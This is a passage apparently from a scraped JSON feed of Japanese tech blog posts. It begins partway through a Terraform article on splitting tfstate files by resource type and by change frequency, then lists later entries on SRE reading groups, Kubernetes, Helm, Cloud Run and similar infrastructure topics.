(認証/認可系)datastore (DBサーバー系)cicd (CI/CD系)monitor (監視系)network (ネットワーク系)ここで仮定した状況では、各プロダクトのtfstateファイルの依存は一方向最終的に、networkグループやauthグループの tfstate ファイルに依存しているとします。そのため、想定される状態の依存関係図は以下の通りになります。なお、依存方向は状況によって異なることをご容赦ください。---title: AWSリソースの種類グループ別---%%{init:{\'theme\':\'default\'}}%%flowchart TB subgraph AWS subgraph tes-bucket application[\\"application-tfstate
例: ALB, API Gateway, CloudFront, EC2, ECS, EKS, SNS, など\\"] auth[\\"auth-tfstate
例: IAM, など\\"] cicd[\\"cicd-tfstate
例: Code3兄弟, など\\"] monitor[\\"monitor-tfstate
例: CloudWatch, など\\"] network[\\"network-tfstate
例: Route53, VPC, など\\"] datastore[\\"datastore-tfstate
例: ElastiCache, RDS, S3, など\\"] application-....->auth application-..->datastore application-...->network cicd-..->application datastore-..->network monitor-..->application monitor-..->datastore end subgraph stg-bucket stg[\\"tfstate\\"] end subgraph prd-bucket prd[\\"tfstate\\"] end end【種類グループ別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合AWSリソースの種類グループ別の分割パターンの場合、異なるリポジトリで管理するとリポジトリが増え過ぎてしまいます。そのため、これはお勧めしません。▼ 同じリポジトリの場合この場合では、AWSリソースの種類グループ別に分割したtfstateファイルを、同じリポジトリで管理します。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。この例では、状態の依存関係図と同じ状況を仮定しています。\uD83D\uDC31 aws-repository/├── \uD83D\uDCC2 application/│ ├── provider.tf│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── alb.tf│ ├── api_gateway.tf│ ├── cloudfront.tf│ ├── ec2.tf│ ├── ecs.tf│ ├── eks.tf│ ├── ses.tf│ ├── sns.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # applicationコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # applicationコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # applicationコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 auth/│ ├── provider.tf│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── iam.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # authコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # authコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # authコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 cicd/│ ├── provider.tf│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── codebuild.tf│ ├── codecommit.tf│ ├── codedeploy.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # cicdコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # cicdコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # cicdコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 datastore/│ ├── provider.tf│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── elasticache.tf│ ├── rds.tf│ ├── s3.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # datastoreコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # datastoreコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # datastoreコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 monitor/│ ├── provider.tf│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── cloudwatch.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # monitorコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # monitorコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # monitorコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 network ├── provider.tf ├── output.tf # 他の tfstate ファイルから参照できるように、outputブロックを定義する ├── route53.tf ├── vpc.tf ├── \uD83D\uDCC2 tes/ # Tes環境 │ ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ ├── \uD83D\uDCC2 stg/ # Stg環境 │ ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ └── \uD83D\uDCC2 prd/ # Prd環境 ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する ...【種類グループ別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合AWSリソースの種類グループ別の分割パターンの場合、異なるリモートバックエンドで管理するとバックエンドが増え過ぎてしまいます。そのため、これはお勧めしません。▼ 同じリモートバックエンドの場合この場合では、AWSリソースの種類グループ別に分割したtfstateファイルを、異なるリモートバックエンドで管理します。例えば、tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。この例では、状態の依存関係図と同じ状況を仮定しています。# Tes環境の状態のみを管理するバケット\uD83E\uDEA3 tes-bucket/├── \uD83D\uDCC2 application│ └── terraform.tfstate # applicationコンポーネントの状態を持つ│├── \uD83D\uDCC2 auth│ └── terraform.tfstate # authコンポーネントの状態を持つ│├── \uD83D\uDCC2 cicd│ └── terraform.tfstate # cicdコンポーネントの状態を持つ│├── \uD83D\uDCC2 datastore│ └── terraform.tfstate # datastoreコンポーネントの状態を持つ│├── \uD83D\uDCC2 monitor│ └── terraform.tfstate # monitorコンポーネントの状態を持つ│└── \uD83D\uDCC2 network └── terraform.tfstate # networkコンポーネントの状態を持つ# Stg環境の状態のみを管理するバケット\uD83E\uDEA3 stg-bucket/│...# Prd環境の状態のみを管理するバケット\uD83E\uDEA3 prd-bucket/│...AWSリソースの状態の変更頻度グループ別この分割方法についてAWSリソースの状態の変更頻度グループ別でtfstateファイルを分割し、中間層もこれに基づいて設計します。この分割方法により、各変更頻度グループの管理者が互いに影響を受けずに、terraformコマンドの結果を得られるようになります。oneplane comments on Best way to approach splitting up the state file【変更頻度グループ別】状態の依存関係図例えば、以下の変更頻度グループに分割した状況と仮定します。変更高頻度グループ変更中頻度グループ変更低頻度グループここで仮定した状況では、各プロダクトのtfstateファイルの依存は一方向最終的に、変更低頻度グループの tfstate ファイルに依存しているとします。そのため、想定される状態の依存関係図は以下の通りになります。なお、依存方向は状況によって異なることをご容赦ください。---title: AWSリソースの状態の変更頻度グループ別---%%{init:{\'theme\':\'default\'}}%%flowchart TB subgraph AWS subgraph tes-bucket high[\\"high-freq-tfstate
例: API Gateway, CloudFront, CloudWatch, IAM\\"] middle[\\"middle-freq-tfstate
例: ALB, EC2, ECS, EKS, ElastiCache, RDS, S3, SES, SNS\\"] low[\\"low-freq-tfstate
例: Route53, VPC\\"] high-...->low middle-..->low end subgraph stg-bucket stg[\\"tfstate\\"] end subgraph prd-bucket prd[\\"tfstate\\"] end end【変更頻度グループ別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合AWSリソースの変更頻度グループ別の分割パターンの場合、異なるリポジトリで管理するとリポジトリが増え過ぎてしまいます。そのため、これはお勧めしません。▼ 同じリポジトリの場合この場合では、AWSリソースの変更頻度グループ別に分割したtfstateファイルを、同じリポジトリで管理します。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。この例では、状態の依存関係図と同じ状況を仮定しています。\uD83D\uDC31 aws-repository/├── \uD83D\uDCC2 high-freq # 高頻度変更グループ│ ├── provider.tf│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── api_gateway.tf│ ├── cloudfront.tf│ ├── cloudwatch.tf│ ├── ec2.tf│ ├── ecs.tf│ ├── eks.tf│ ├── iam.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # high-freqコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # high-freqコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # high-freqコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 low-freq # 低頻度変更グループ│ ├── provider.tf│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── route53.tf│ ├── vpc.tf│ ├── \uD83D\uDCC2 tes│ │ ├── backend.tfvars # low-freqコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg│ │ ├── backend.tfvars # low-freqコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd│ ├── backend.tfvars # low-freqコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 middle-freq # 中頻度変更グループ (高頻度とも低頻度とも言えないリソース) ├── provider.tf ├── remote_state.tf # terraform_remote_state ブロックを使用する ├── elasticache.tf ├── rds.tf ├── s3.tf ├── ses.tf ├── \uD83D\uDCC2 tes │ ├── backend.tfvars # middle-freqコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ ├── \uD83D\uDCC2 stg │ ├── backend.tfvars # middle-freqコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ └── \uD83D\uDCC2 prd ├── backend.tfvars # middle-freqコンポーネントの状態を持つ tfstate ファイルを指定する ...【変更頻度グループ別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合AWSリソースの変更頻度グループ別の分割パターンの場合、異なるリモートバックエンドで管理するとバックエンドが増え過ぎてしまいます。そのため、これはお勧めしません。▼ 同じリモートバックエンドの場合この場合では、AWSリソースの変更頻度グループ別に分割したtfstateファイルを、異なるリモートバックエンドで管理します。例えば、tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。この例では、状態の依存関係図と同じ状況を仮定しています。# Tes環境の状態のみを管理するバケット\uD83E\uDEA3 tes-bucket/├── \uD83D\uDCC2 high-freq│ └── terraform.tfstate # high-freqコンポーネントの状態を持つ│├── \uD83D\uDCC2 middle-freq│ └── terraform.tfstate # middle-freqコンポーネントの状態を持つ│└── \uD83D\uDCC2 low-freq └── terraform.tfstate # low-freqコンポーネントの状態を持つ# Stg環境の状態のみを管理するバケット\uD83E\uDEA3 stg-bucket/│...# Prd環境の状態のみを管理するバケット\uD83E\uDEA3 prd-bucket/│...10. おわりにTerraformのtfstateファイルの分割パターンをもりもり布教しました。ぜひ採用してみたい分割パターンはあったでしょうか。Terraformの開発現場の具体的な要件は千差万別であり、特にtfstateファイル間の状態の依存関係は様々です。もし、この記事を参考に設計してくださる方は、分割パターンを現場に落とし込んで解釈いただけると幸いです\uD83D\uDE47\uD83C\uDFFB‍「自分を信じても…信頼に足る仲間を信じても…誰にもわからない…」(お友達の@nwiizo, 2023, Terraform Modules で再利用できるので最高ではないでしょうか？)謝辞今回、Terraformの分割パターンの収集にあたり、以下の方々からの意見・実装方法も参考にさせていただきました。@kiyo_12_07 さん@masasuzu さん@tozastation さん(アルファベット順)この場で感謝申し上げます\uD83D\uDE47\uD83C\uDFFB‍","link":"https://hiroki-hasegawa.hatenablog.jp/entry/2023/07/05/001756","isoDate":"2023-07-04T15:17:56.000Z","dateMiliSeconds":1688483876000,"authorName":"Hiroki Hasegawa","authorId":"hiroki-hasegawa"},{"title":"光に負けルナ~Google Cloudでのマルチリージョンデータベースについて~","contentSnippet":"クラウドを利用する一番のメリットの一つとしてオンデマンドでリソースを調達し、アクセス負荷に応じてスケールイン・アウト出来ることが上げられます。そのため大体のアプリケーションではシングルリージョンまたは隣接するリージョン2~3程度で運用を始めることが多いと思います。(日本の場合asia-northeast-1とasia-northeast-2など)アプリケーションがグローバルに拡大すると、それだけ物理的な距離が広がりユーザ・サーバ間のアクセスにかかる時間が拡大します。例えばユーザ・サーバ共に日本にある場合(沖縄・北海道間約3,000km)、ネットワークによる遅延は片道約15ms以下...","link":"https://zenn.dev/nnaka2992/articles/to_beat_light_speed_on_google_cloud_databases","isoDate":"2023-07-03T15:39:08.000Z","dateMiliSeconds":1688398748000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"スリーシェイクに入社しました！","link":"https://bells17.medium.com/3-shake-279ea982b977?source=rss-713cf42ce34d------2","isoDate":"2023-07-03T14:10:50.000Z","dateMiliSeconds":1688393450000,"authorName":"bells17","authorId":"bells17"},{"title":"SREの専門家が集まったチームで『SREの探求』の社内輪読会を完遂しました。","contentSnippet":"\uD83C\uDF61 前回の記事syu-m-5151.hatenablog.com\uD83D\uDC36 はじめにこんにちは。株式会社スリーシェイク Sreake 事業部に所属している@nwiizo です。Sreake事業部は技術力が求められる領域で豊富な経験を持つSREの専門家が集まったチームです。事業部にはさまざまな背景を持つSREの専門家が多く在籍してます。しかし、そのSREの専門家達とは案件が一緒にならなかったり、能動的に質問をしなければSREに関する意見や知見を聞けませんでした。SREの探求 ―様々な企業におけるサイトリライアビリティエンジニアリングの導入と実践オライリージャパンAmazonそんな、課題がある中で半年前に各案件で得た知見や経験を各メンバーで出し合える会がもっと(社内で技術共有会はあるため)あると良いと思いました。そこで社内チャットで有志を募り 『輪読会について考える会』を行いました。社内チャットで運営を募ると一瞬で集まったので良い組織だと思いました。※『輪読会の各話』の議事録が見れるTOPページです。\uD83D\uDC35 各メンバーの感想と今後のアクションsugoude途中からの参加でしたが、楽しく役立つ輪読会でした。特に16章17章はDBREに関する内容でしたので当事者意識を持って参加し、有意義な時間になりました。個人的には、途中からの参加でしたので、SREの探求を再演してもらえたら嬉しいです。hash_gen選定理由としてみんなSRE本は読んでるだろうという点もあったと思いますが、様々なケースと向き合ってきたSreake事業がある3-shakeだからこそSREの探求を輪読する価値があったと思いました。様々な事例に対して我々の場合はどうやって提案していけばよいかという会話が多かったことが印象に残っています。日々のアウトプットでも技術フォーカスの内容に加えて具体的な経験例を社内に積極的にフィードバックしていくことでこのいい習慣を続けていけたらと思っています。SatohJohn入社してまもなくというのも有り、そこまでSREの用語に対して詳しくなかったため、この本を読むことで、どうしてそれらの用語が必要なのかが深掘りできたきがしました。また、個人的にGoogle CloudのDevOpsの試験を受けることが有り、その際にもこの本での話題が役に立ちました。今後アプリケーション開発にSREの考えを入れられるようにするのに、ちょうどよい粒度だったと感じております。tozastationインターンの方が参加したタイミングだけ出れたのでそのエピソードで...! Sreake 事業部だけでなく、他事業部も巻き込んで開催していたのが素敵だなと思いました。Sreake の仕事を知ってもらうであったり、他事業部にも SRE を取り込んでもらうなどさまざまな意見交換が生まれる場だったじゃないかと思います。インターンの方も声を上げてくれたのがさらに良かったです！次のテーマも応援してます！nnaka2992DBRE兼SRE見習いとしてSRE活動をしている自分にとっては、データベース以外でのSREの取り組みを技術・ヒューマンスキル両方の面から学べる本でした。弊社のような不特定多数の組織に対するSREの導入サポートを行う企業では、それぞれの組織に合わせたSREの適用が必要となります。様々なSRE実践例を扱う本書籍は自分の知見を深める面でも、SREとしての引き出しを増やす面でも素晴らしい書籍でした。今後はあくまでこの書籍はある組織での最適解としてリファレンスしながら、それぞれの組織で最適となるSREの探求を続けられればと思います。とあるメンバーすごい有意義な時間でした。Sreake内で自分は人数も組織も大きな組織でどうやって既存の組織にSREを導入するか？を考えているので、様々なプラクティスを知れたのは良い体験でした。輪読で学んだことをお客様に話すと「なるほど！」と言ってもらえることも多々ありました。\uD83D\uDC26 まとめ今回の読書会は、新しい知識共有のコミュニティーを作り上げながら実施しました。毎週1回、定められた時間にオンラインに集まり、担当者が1章ずつ読みまとめ、それについて話し合うのです。そして、その議論の過程をドキュメントに記録し、印象に残った部分をいつでも見返せるように保存しておけます。感想はもちろん、一人一人異なりますが、それぞれが課題や組織に向かって解決策を考えていくのがとても面白かったです。その結果、同じ本を読んでいても、それぞれ異なるアクションを考え出すことができました。このようなコミュニティを活用した議論と輪読により、活発な意見交換をしながら特殊なミームが発生したり楽しく読書を進めることができました。これからも、このスタイルの読書会は続けていく予定です。皆さんも、一緒に働くメンバーと読書会を試してみてはいかがでしょうか？新たな知識共有の体験、その刺激を味わってほしいです。弊社の採用サイトも載せておきますjobs-3-shake.com","link":"https://syu-m-5151.hatenablog.com/entry/2023/07/03/094713","isoDate":"2023-07-03T00:47:13.000Z","dateMiliSeconds":1688345233000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Copilotでらくらくコードリーディング","contentSnippet":"GitHub Copilot便利ですね。2021年にTechnical Previewとして発表された時から便利だ便利だと言われていたGitHub Copilotに、2023年の4月末ごろからデビューしました。デビューしたは良いものの最近は仕事ではコーディングよりアーキテクト的な方面でのお仕事が多かったり、個人の時間でもコーディングするよりOSSのコードを読むことのほうが多くコーディングのアシスタントツールとしては使いこなせていません。そのため最近はPostgreSQLのコードを読むときのアシスタントとして利用することが多いです。なのでこの記事ではCopilotでコードリーディン...","link":"https://zenn.dev/nnaka2992/articles/code_reading_with_copilot","isoDate":"2023-06-28T14:41:21.000Z","dateMiliSeconds":1687963281000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Cloud RunのSidecarでJVMのmetricsの取得してみた","contentSnippet":"概要Cloud Runのmetricsをデフォルトで取得している指標(metrics)以外の指標が他に欲しい場合、どうするのが良いのかを考えてみました。ちょうどCloud RunのSidecar機能がでたので、それを使います。他の指標を、ここではJVMのmetricsとします。Cloud Run上のJVMのmetricsが取れて何が嬉しいのかについては、一旦考えません。後にCloud Runの最大起動時間が増えた場合は、意味があるかもしれません。 構成図にすると以下のような感じになります。Cloud RunでSpring Bootアプリケーションを立ち上げClou...","link":"https://zenn.dev/satohjohn/articles/25bc5879de7832","isoDate":"2023-06-28T12:03:00.000Z","dateMiliSeconds":1687953780000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"ロクに勉強してこなかったエンジニアが輪読会参加とかPCA受験に向けて勉強とかしてみた話","contentSnippet":"この記事について40歳でフリーランスから転職をきっかけに会社員エンジニアになって、社内のエンジニアの熱意に影響を受けて勉強をはじめてみた中年エンジニアの感想とか気づきとかです。先に結論勉強する…","link":"https://qiita.com/bayobayo0324/items/56f93f50fa0115dc4d6d","isoDate":"2023-06-27T12:31:17.000Z","dateMiliSeconds":1687869077000,"authorName":"bayobayo0324","authorId":"bayobayo0324"},{"title":"PagerDutyがたくさん機能追加しているみたいなのでまとめてみた","contentSnippet":"はじめに PagerDutyはインシデントの管理、オンコール通知のサービスとして、とても優秀なサービスです。直近も、様々な新機能が出ていますが、旧機能から新機能への移行も同時に行われています。 弊社では、PagerDut […]The post PagerDutyがたくさん機能追加しているみたいなのでまとめてみた first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/pagerduty-release-updates/","isoDate":"2023-06-27T06:38:36.000Z","dateMiliSeconds":1687847916000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Terraformで実践するAWS IAM Identity Center（AWS Single Sign-On）のユーザー管理戦略","contentSnippet":"はじめにAWS IAM Identity Center（AWS Single Sign-On）を使用して、ユーザー管理を考えていく上で、Terraformを使用して構成管理を実現しようと思います。作成したコードはgithub上に上がっているので、ご参考ください…","link":"https://qiita.com/yokoo-an209/items/569ac1ba517b076e8cde","isoDate":"2023-06-21T04:05:23.000Z","dateMiliSeconds":1687320323000,"authorName":"Annosuke Yokoo","authorId":"yokoo-an209"},{"title":"アプリ開発者のための kubectl 講座","contentSnippet":"これは何Kubernetes クラスタ管理者とアプリケーション開発者が分業しているプロジェクトで，開発者が必ずしも Kubernetes に詳しくない場合を想定し，開発時に使いそうな kubectl のコマンドをまとめたものです。クラスタ管理者から開発者にこのドキュメントを適宜改変して渡し，開発者がある程度自立して操作できるようになることで，管理者への問い合わせ負荷を減らすのが狙いです。場合によってはハンズオンで講座を開いてもよいでしょう。 ドキュメント案ここでは Amazon EKS でクラスタを構築する場合の例を示します。別のインフラに構築している場合は適宜書き換え...","link":"https://zenn.dev/toshikish/articles/6a06017747cbba","isoDate":"2023-06-19T06:03:18.000Z","dateMiliSeconds":1687154598000,"authorName":"toshikish","authorId":"toshikish"},{"title":"夏に向けて、体もコンテナイメージも減量（軽量化）させよう！","contentSnippet":"はじめにdockerで構築しているNext.jsのフロントエンドアプリケーションのimageをAmazon ECRにpushしようとしたときに、pushのあまりの遅さにびっくりしたのがことの発端で…","link":"https://qiita.com/yokoo-an209/items/0297808af40c1a74928e","isoDate":"2023-06-19T02:46:48.000Z","dateMiliSeconds":1687142808000,"authorName":"Annosuke Yokoo","authorId":"yokoo-an209"},{"title":"Terraform 静的検査ツール比較","contentSnippet":"対象tfsectflintKICSCheckovSnyk tfsechttps://github.com/aquasecurity/tfsechttps://aquasecurity.github.io/tfsec/v1.28.1 特徴CI系公式のdocker imageがあるhttps://github.com/aquasecurity/tfsec#use-with-dockerGitHub Actionがあるhttps://github.com/aquasecurity/tfsec-pr-commenter-actionGitH...","link":"https://zenn.dev/tayusa/articles/9829faf765ab67","isoDate":"2023-06-15T17:00:00.000Z","dateMiliSeconds":1686848400000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"editcap で tcpdump のキャプチャファイルから指定の時間帯を切り出す","contentSnippet":"ちょっと大きめ (時間範囲の広い) pcap ファイルがあって、wireshark で見るにしてもちょっと大きすぎるなということがありました。 見たい時間帯だけに絞ったファイル","link":"https://blog.1q77.com/2023/06/editcap/","isoDate":"2023-06-15T14:46:42.000Z","dateMiliSeconds":1686840402000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"GitHub の Reusable workflow で working-directory に変数を使う","contentSnippet":"やりたいことGitHub Actions の reusable workflow で，作業ディレクトリを入力変数で変えたい場合を考えます。on: workflow_call: inputs: workdir: required: true type: string うまくいかない方法ワークフロー全体のステップのデフォルト設定 defaults.run.working-directory では，現時点ではコンテキストと式が許可されていません。したがって，入力変数でディレクトリ名を受け取って上記に入れても動作しません。...","link":"https://zenn.dev/toshikish/articles/be970407f02098","isoDate":"2023-06-15T05:22:24.000Z","dateMiliSeconds":1686806544000,"authorName":"toshikish","authorId":"toshikish"},{"title":"KubeconformをGitLab CIに組み込んで、k8sのマニフェストがAPIの仕様に沿うか検査する","contentSnippet":"はじめにk8sマニフェストを普段管理していないメンバーがマニフェストのファイルを変更する場面があります。その際のレビューを出来るだけ自動化したくkubeconformを導入しました。 KubeconformマニフェストがAPIの仕様に沿うか検査してくれます。https://github.com/yannh/kubeconform自分でスキーマを用意すればIstio、Argo Rollouts、Argo Workflowsのような外部のAPIも検査できます。 スキーマの生成スキーマの生成はpythonのスクリプトが用意されているので、これをCRDを引数で渡し実行しま...","link":"https://zenn.dev/tayusa/articles/1aa96e6ceb838a","isoDate":"2023-06-11T17:19:45.000Z","dateMiliSeconds":1686503985000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"plutoをGitLab CIに組み込んで非推奨のk8s apiVersionを検出する","contentSnippet":"はじめにk8sのバージョンが上がるとAPIが再編成されたりアップグレードされたりします。新しいAPIが出ると古いAPIは非推奨になり最終的には削除されます。なので、k8sのバージョンアップ時はDeprecated API Migration Guideなどを見て非推奨のapiVersionが使われていないか確認して時には修正する必要があります。https://kubernetes.io/docs/reference/using-api/deprecation-guide/例CronJob の batch/v1beta1 -> batch/v1 plutoplu...","link":"https://zenn.dev/tayusa/articles/79a3f54d8f21bc","isoDate":"2023-06-11T17:18:13.000Z","dateMiliSeconds":1686503893000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"Istio Canary Upgrade by Helm","contentSnippet":"前提helmfileを利用istioのrevisionTagを利用関係のない設定は省略 Upgradeの前にInstall ディレクトリ構成├── helmfile_istio-base.yaml├── helmfile_istio-ingressgateway.yaml├── helmfile_istiod-1-16-0.yaml└── values ├── istio-base.yaml ├── istio-ingressgateway.yaml └── istiod.yaml helmfile helmfile_isti...","link":"https://zenn.dev/tayusa/articles/03cf961e2409bd","isoDate":"2023-06-11T17:17:37.000Z","dateMiliSeconds":1686503857000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"Helmに入門したので、躓いたところを振り返る","contentSnippet":"はじめにアプリのマニフェストを管理するのにKustomizeを使っていたのですが、同じようなマニフェストが乱立したので管理を楽にするためにHelmに移行しました。Helmを一から書いたのは初めてだったので、躓いた点をここに残します。 quote関数の進数変換0から始まる数値をquote関数を使って文字列にすると進数変換が起こり想定した値ではなくなる下記のようなtemplateでidとして0000000060のような値を渡すと、8進数として解釈され10進数である48に変換されてしまいます。...id: {{ .id | quote }}...0から始まる数値はtem...","link":"https://zenn.dev/tayusa/articles/e9285c6c4c09a1","isoDate":"2023-06-11T17:16:25.000Z","dateMiliSeconds":1686503785000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"Go言語でNetlinkを少し触った話","contentSnippet":"Go言語でNetlinkを少し触ったのでメモ。具体的にはGo言語でNetlinkというネットワーク関連のライブラリを使ってStatic Routeを設定したりするサンプルを作ったりした。https://github.com/bells17/netlink-gosample Netlinkとは調べた範囲だと、Linuxカーネルのサブシステムの1つで、ルーティングテーブルの管理などのネットワーク関連の設定などを行う際に利用されるもの、という理解をしている。Netlinkは、Linuxカーネルとユーザ空間プロセス間の、またはカーネル内の通信を提供するためのIPC（Inter-pro...","link":"https://zenn.dev/bells17/articles/netlink-goexample","isoDate":"2023-06-08T18:03:10.000Z","dateMiliSeconds":1686247390000,"authorName":"bells17","authorId":"bells17"},{"title":"Kubernetes 1.27 以降のバッチ処理の改善","contentSnippet":"Kubernetes 1.27 以降で実装済みまたは予定されているバッチ処理の改善に繋がる KEP や Kubernetes のサブプロジェクトの現状を見ていきます。 KEP-3673: Kubelet limit of Parallel Image Pulls!Kubernetes 1.27 時点でアルファ機能です。1.28 でベータを目指していますが、設定はデフォルトで無効化されています。Pod の起動にノードのスケールアウトが必要な場合に、Pod の起動時間の短縮が期待できます。バッチ処理の Pod が一斉に起動するケースで恩恵を受けられそうです。Kubelet は...","link":"https://zenn.dev/toversus/articles/d6065bea460871","isoDate":"2023-06-08T03:46:32.000Z","dateMiliSeconds":1686195992000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"asdf の代わりに rtx を使う","contentSnippet":"nodeenv とか rbenv とか tfenv とか XXenv がそれぞれ .xxx-version というファイルにそのディレクトリ配下で使用する software の version を指定するという仕様があり、それらをまとめてやってくれる asdf というツールが登場","link":"https://blog.1q77.com/2023/06/rtx/","isoDate":"2023-06-07T01:25:11.000Z","dateMiliSeconds":1686101111000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"お前のパケットはもう死んでいる。TCPに死亡フラグを実装してみた","contentSnippet":"はじめにプロトコルの仕様などIETFが発行しているRFCにはジョークRFCというものが存在しています。伝書鳩でIP通信するとか、コーヒーポットを制御するなどが有名です。鳥類キャリアによるIPHyper Text Coffee Pot Control Protocol (HTCPCP/1.0) 日本語訳今年そんなジョークRFCに、TCPに死亡フラグを実装するというRFC9401が追加されました。The Addition of the Death (DTH) Flag to TCP 日本語訳この記事ではこのTCPに死亡フラグを実装するというRFC9401を真面目に実装してみ...","link":"https://zenn.dev/satoken/articles/golang-rfc9401","isoDate":"2023-06-07T00:32:17.000Z","dateMiliSeconds":1686097937000,"authorName":"satoken","authorId":"satoken"},{"title":"OpenAI API を利用して Terraform から構成図っぽい Mermaid を出力してくれるコマンドを作った話","contentSnippet":"前段 Sreake事業部の橋本です。 ChatGPTで話題のOpenAIのモデルは、現在画像の取り扱いはまだ発展途上です。文章から画像を作るAPIや画像入力が検討されていますが、システム運用にクリティカルに使えそうになる […]The post OpenAI API を利用して Terraform から構成図っぽい Mermaid を出力してくれるコマンドを作った話 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/mermaid-with-openai-api/","isoDate":"2023-06-06T02:44:12.000Z","dateMiliSeconds":1686019452000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Redis公式のGoクライアントライブラリrueidisを試してみた","contentSnippet":"This 記事 is 何？Twitterぼんやり見てたらRedis公式のGo用クライアントライブラリが出てたとかで、自身のプロジェクトにどの程度簡単に入れられるのかなーと思い試してみました。公式…","link":"https://qiita.com/bayobayo0324/items/8ac3e27eef360a316ad2","isoDate":"2023-05-31T12:02:25.000Z","dateMiliSeconds":1685534545000,"authorName":"bayobayo0324","authorId":"bayobayo0324"},{"title":"OLAPデータベースを支える技術","contentSnippet":"今年に入ってからCarnegie Mellon UniversityのAdvanced Database SystemsでReading Assignmentとして出ている論文リストで必須とされているものや講義資料を読みました。https://nnaka2992.hatenablog.com/archive/category/論文この記事では紹介されていた論文やAdvanced Database 